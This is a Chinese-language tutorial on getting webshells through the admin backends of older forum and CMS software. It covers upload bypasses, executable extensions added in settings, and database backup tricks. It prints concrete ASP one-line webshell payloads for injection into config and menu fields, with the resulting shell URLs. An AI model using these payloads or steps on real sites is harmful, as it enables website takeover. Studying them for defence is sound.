### 后台拿Shell全集知识点详解
#### 一、直接上传获得WebShell
在一些PHP和JSP程序中,存在可以直接上传WebShell的情况。例如,MolyX BOARD中的一个典型例子是在心情图标管理中上传.php类型的文件。尽管界面可能没有明显的提示,但实际上上传已经成功。上传文件的URL通常是`http://forums/images/smiles/`下的某个位置。另一个例子是一年前非常流行的`upfile.asp`漏洞(存在于动网5.0和6.0版本以及其他一些早期的整站系统)中,由于上传文件的过滤不严格,攻击者能够直接上传WebShell到网站的任意可写目录中,从而获取网站的管理员控制权。
#### 二、添加修改上传类型
很多脚本程序的上传模块不仅限于上传合法文件类型,而是允许用户自定义上传文件的扩展名。例如,在BBSXP后台可以添加`asa`、`asp`等类型;eWebeditor的后台则可以添加`asa`类型。通过这种方式,可以上传`.asa`后缀的WebShell。另一种情况是当系统过滤了`.asp`时,可以通过添加如`.aspasp`这样的文件类型绕过限制,上传带有额外后缀的ASP马。对于PHP系统,可以在后台添加如`.php.g1f`的上传类型,利用PHP的一个特性,即使扩展名中包含未知格式(如`.g1f`),只要最后一个已知扩展名为`.php`,PHP仍会将其当作PHP文件执行。
#### 三、利用后台管理功能写入WebShell
上传漏洞被修补后,攻击者可以通过修改后台的相关文件来写入WebShell。如DVbbs 6.0、LeadBBS 2.88等系统,可以直接在后台修改配置文件,写入带有`.asp`后缀的文件。此外,LeadBBS 3.14提供了另一种方法:添加一个新的友情链接,在网站名称处写入特定的代码(如“冰狐最小马”),并在前后加入一些随机字符,最终生成的链接将是WebShell地址(例如:`http:\\网站\inc\IncHtm\BoardLink.asp`)。
#### 四、利用后台管理向配置文件写入WebShell
通过在程序配置文件中插入特定的符号(如`"":"//`),可以构造出最小化的WebShell代码。这种方法适用于多种脚本程序,如Joekoe论坛、某某同学录、沸腾展望新闻系统、COCOON Counter统计程序等。例如,在COCOON Counter统计程序中,可以在管理邮箱处添加如下代码:
```plaintext
[email protected]":eval request(chr(35))//
```
这样,配置文件中将出现类似这样的内容:
```plaintext
webmail="[email protected]":eval request(chr(35))//
```
另一种方式是添加:
```plaintext
[email protected]"%><%eval request(chr(35))%><%'
```
这将形成前后对应,使最小化的WebShell能够运行。例如,在动易2005系统中,可以通过在文章中心管理-顶部菜单设置-菜单其他特效中插入以下代码:
```plaintext
%><%execute request("l")%><%'
```
保存后,可以获得WebShell地址:`http://网站/admin/rootclass_menu_config.asp`。
#### 五、利用后台数据库备份及恢复获得WebShell
利用后台的数据库备份或恢复功能,通过更改备份文件的后缀为`.asp`等方式,可以实现WebShell的获取。这种方式主要针对Access数据库的备份或恢复功能。例如,在某些系统中,如果备份或恢复数据库的路径变量没有进行过滤处理,则可以将任意文件的后缀更改为`.asp`,从而得到WebShell。对于使用MS SQL数据库的系统,则需要采取不同的方法来实现。
这些方法虽然可以帮助攻击者获得目标网站的控制权,但同时也构成了严重的信息安全威胁。因此,对于网站开发者来说,加强安全防护措施至关重要,包括但不限于严格的文件上传过滤、合理的后台权限管理以及定期的安全检查等。